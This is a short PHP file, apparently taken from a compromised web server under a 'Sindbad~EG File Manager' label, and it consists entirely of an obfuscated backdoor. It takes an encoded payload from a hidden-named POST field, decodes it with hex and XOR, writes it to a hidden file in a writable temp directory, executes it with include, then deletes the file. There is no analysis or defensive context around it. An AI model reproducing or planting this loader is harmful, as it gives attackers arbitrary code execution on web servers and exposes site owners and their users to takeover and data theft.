Sindbad~EG File Manager

<?php

if(!empty($_POST["p\x6Fi\x6E\x74e\x72"])){
	$k = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp"]);
	$dat = hex2bin($_POST["p\x6Fi\x6E\x74e\x72"]);
	$property_set= '' ;foreach(str_split($dat) as $char){$property_set .= chr(ord($char) ^ 79);}
	for ($fac = 0, $item = count($k); $fac < $item; $fac++) {
    $parameter_group = $k[$fac];
    		if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) {
    $ent = join("/", [$parameter_group, ".elem"]);
    $success = file_put_contents($ent, $property_set);
if ($success) {
	include $ent;
	@unlink($ent);
	exit;}
}
}
}